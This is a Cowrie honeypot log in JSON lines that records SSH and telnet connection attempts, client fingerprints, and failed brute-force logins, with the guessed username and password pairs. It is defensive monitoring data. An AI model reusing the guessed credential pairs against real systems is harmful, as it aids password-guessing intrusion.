{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":45216,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0832108cd4d","protocol":"ssh","message":"New connection: 223.123.65.63:45216 (10.17.0.5:22) [session: e0832108cd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:20.216465Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37474,"dst_ip":"159.203.135.109","dst_port":22,"session":"009cd8562700","protocol":"ssh","message":"New connection: 2.57.122.208:37474 (159.203.135.109:22) [session: 009cd8562700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:20.221536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:20.224686Z","src_ip":"223.123.65.63","session":"e0832108cd4d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:20.284102Z","src_ip":"2.57.122.208","session":"009cd8562700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:20.406512Z","src_ip":"2.57.122.208","session":"009cd8562700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:21.234116Z","src_ip":"2.57.122.208","session":"009cd8562700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:22.464354Z","src_ip":"2.57.122.208","session":"009cd8562700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:26.011841Z","src_ip":"223.123.65.63","session":"e0832108cd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":10830,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ac3f9eff94","protocol":"ssh","message":"New connection: 193.46.255.86:10830 (159.203.135.109:22) [session: f8ac3f9eff94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:34.246374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:34.250213Z","src_ip":"193.46.255.86","session":"f8ac3f9eff94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:34.386043Z","src_ip":"193.46.255.86","session":"f8ac3f9eff94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:38.376358Z","src_ip":"193.46.255.86","session":"f8ac3f9eff94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58432,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0756affc7e5","protocol":"ssh","message":"New connection: 92.118.39.92:58432 (159.203.135.109:22) [session: c0756affc7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:56.225472Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:10:56.331174Z","src_ip":"92.118.39.92","session":"c0756affc7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:11:38.085085Z","src_ip":"218.4.120.211","session":"4308f5fec489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36302,"dst_ip":"10.17.0.5","dst_port":22,"session":"03315018029b","protocol":"ssh","message":"New connection: 80.94.92.184:36302 (10.17.0.5:22) [session: 03315018029b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:14.284633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:14.329402Z","src_ip":"80.94.92.184","session":"03315018029b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:14.474880Z","src_ip":"80.94.92.184","session":"03315018029b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:15.574131Z","src_ip":"80.94.92.184","session":"03315018029b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19677,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff03b2692843","protocol":"ssh","message":"New connection: 2.57.121.25:19677 (10.17.0.5:22) [session: ff03b2692843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:16.786682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:16.790606Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:16.826502Z","src_ip":"80.94.92.184","session":"03315018029b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:16.888536Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15011982","message":"login attempt [user/15011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:17.361403Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1432","message":"login attempt [user/1432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:18.462013Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101993","message":"login attempt [user/14101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:19.563230Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14071984","message":"login attempt [user/14071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:20.664645Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14061987","message":"login attempt [user/14061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:21.766698Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:22.869329Z","src_ip":"2.57.121.25","session":"ff03b2692843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36274,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cff63effb60","protocol":"ssh","message":"New connection: 2.57.122.208:36274 (159.203.135.109:22) [session: 8cff63effb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:35.280001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:35.310981Z","src_ip":"2.57.122.208","session":"8cff63effb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:35.413736Z","src_ip":"2.57.122.208","session":"8cff63effb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:35.915929Z","src_ip":"2.57.122.208","session":"8cff63effb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:12:37.043019Z","src_ip":"2.57.122.208","session":"8cff63effb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":27197,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb68c850aac0","protocol":"ssh","message":"New connection: 2.57.121.25:27197 (159.203.135.109:22) [session: cb68c850aac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:34.862651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:34.867433Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:34.971206Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15011982","message":"login attempt [user/15011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:35.458278Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1432","message":"login attempt [user/1432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:36.564512Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101993","message":"login attempt [user/14101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:37.670194Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14071984","message":"login attempt [user/14071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:38.776577Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14061987","message":"login attempt [user/14061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:39.883069Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:13:40.988237Z","src_ip":"2.57.121.25","session":"cb68c850aac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.50","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"697a47d8af37","protocol":"telnet","message":"New connection: 160.119.76.50:53700 (159.203.135.109:23) [session: 697a47d8af37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:38.284369Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":53524,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9fb06811d8","protocol":"ssh","message":"New connection: 223.123.65.63:53524 (10.17.0.5:22) [session: 3b9fb06811d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:42.379939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:42.384934Z","src_ip":"223.123.65.63","session":"3b9fb06811d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:42.594987Z","src_ip":"223.123.65.63","session":"3b9fb06811d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.000958442687988,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:43.285180Z","src_ip":"160.119.76.50","session":"697a47d8af37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"remote","password":"remote2025","message":"login attempt [remote/remote2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:46.480431Z","src_ip":"223.123.65.63","session":"3b9fb06811d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:47.693555Z","src_ip":"223.123.65.63","session":"3b9fb06811d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36134,"dst_ip":"159.203.135.109","dst_port":22,"session":"e134b1714647","protocol":"ssh","message":"New connection: 92.118.39.92:36134 (159.203.135.109:22) [session: e134b1714647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:48.906444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:48.912037Z","src_ip":"92.118.39.92","session":"e134b1714647","protocol":"ssh"}
